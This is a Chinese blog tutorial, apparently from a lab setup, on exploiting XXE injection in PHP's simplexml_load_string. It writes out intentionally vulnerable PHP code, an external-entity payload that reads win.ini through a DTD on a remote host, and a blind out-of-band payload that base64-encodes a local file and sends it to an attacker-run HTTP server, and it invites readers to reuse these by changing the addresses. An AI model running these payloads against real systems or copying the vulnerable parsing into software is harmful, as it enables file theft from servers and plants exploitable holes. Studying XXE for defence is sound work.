XXE之文件随意读取

XXE的利用

  • 声明:

    • 我们本次实验所使用的php版本为5.4版本,有些版本是实验不成功的
  • XXE注入可分为有回显的与没有回显的

    • 有回显的:制造一个具有xxe漏洞的代码(xxe.php)

    • <?php
      	$xml=simplexml_load_string($_GET['xml']);
      	echo $xml; //这是有回显的xxe注入   
      ?>
      
    • 首先我们使用我们本地的服务器进行探测,使用burpsuite进行抓板进行分析

    • 在这里插入图片描述

    • 在这里插入图片描述

    • 我们可以看到我们提交的参数已经出现在了这里,我们需要注意的就是由于浏览器的一些奇怪特性,我们不能直接在请求头更改值,我们需要进入到Params处进行更改value值

    • 在这里插入图片描述

    • 我们先输入测试代码

      <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe "Thinking">]><foo>&xxe;</foo>
      
      • 注释:

        <!-- DTD 代码 -->
        <!DOCTYPE foo [
                       <!ELEMENT foo ANY >           <!-- 元素foo -->
        			   <!ENTITY xxe "Thinking">      <!-- 实体名称xxe,实体的值thinking-->
        			   ]>  
        <!-- XML代码 -->			   
        	<foo>&xxe;</foo>                         <!-- &调用实体xxe,分号起分隔的作用 -->
        
    • 在这里插入图片描述

      • 需要注意的是我们发现我们输入的特殊字符被转移成url格式

      • <!DOCTYPE%20foo%20[<!ELEMENT%20foo%20ANY%20><!ENTITY%20xxe%20"Thinking">]><foo>%26xxe;</foo>
        
      • 通过提交内容我们发现这里存在XML注入,于是我们构造全新payload进行任意文件读取

    • <!ENTITY % 实体名称 “实体的值”>
      // or
      <!ENTITY % 实体名称 SYSTEM “URI”>
      
    • <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY  % xxe SYSTEM "http://10.10.87.220/evil.dtd">%xxe;]><foo>&evil;</foo>
      
    • evil.dtd(这个是我们引用外部文件的文件名)
      <!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
      
      • 在这里插入图片描述

      • 我们发现我们读取到了本地的文件,当我们更改路径之后成功读取其他文件,需要注意的是文件内容不能包含“< >”等特殊字符,否则会报错

    • 接下来我们实验没有回显的

    • xxe1.php
      <?php
      	$xml=@simplexml_load_string($_POST['xml']);
      ?>
      
    • payload:(已知本地存在2.txt文件)
      <!DOCTYPE updateProfile [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./2.txt"><!ENTITY % dtd SYSTEM "http://10.10.87.220:8080/evil1.dtd">%dtd;%send;]>
      
      • 在这里我们需要引用另一款工具:HPS http file server,这款工具的作用可以用来传输文件(会有返回的信息内容),在这里我们可以通过这款工具进行接收返还的内容
    • evil1.dtd
      <!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://10.10.87.220:8080/?data=%file;'>" > %all;
      
      • 在这里插入图片描述

      • 在这里插入图片描述

      • 由于我们使用了base64对内容进行加密,所以我们可以使用小葵进行解密(由于小弟并不是专业的xml代码编写者,所以这些代码很多都是直接在网上找的通用的,大家可以在工作中直接修改核心部分,例如地址等)

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值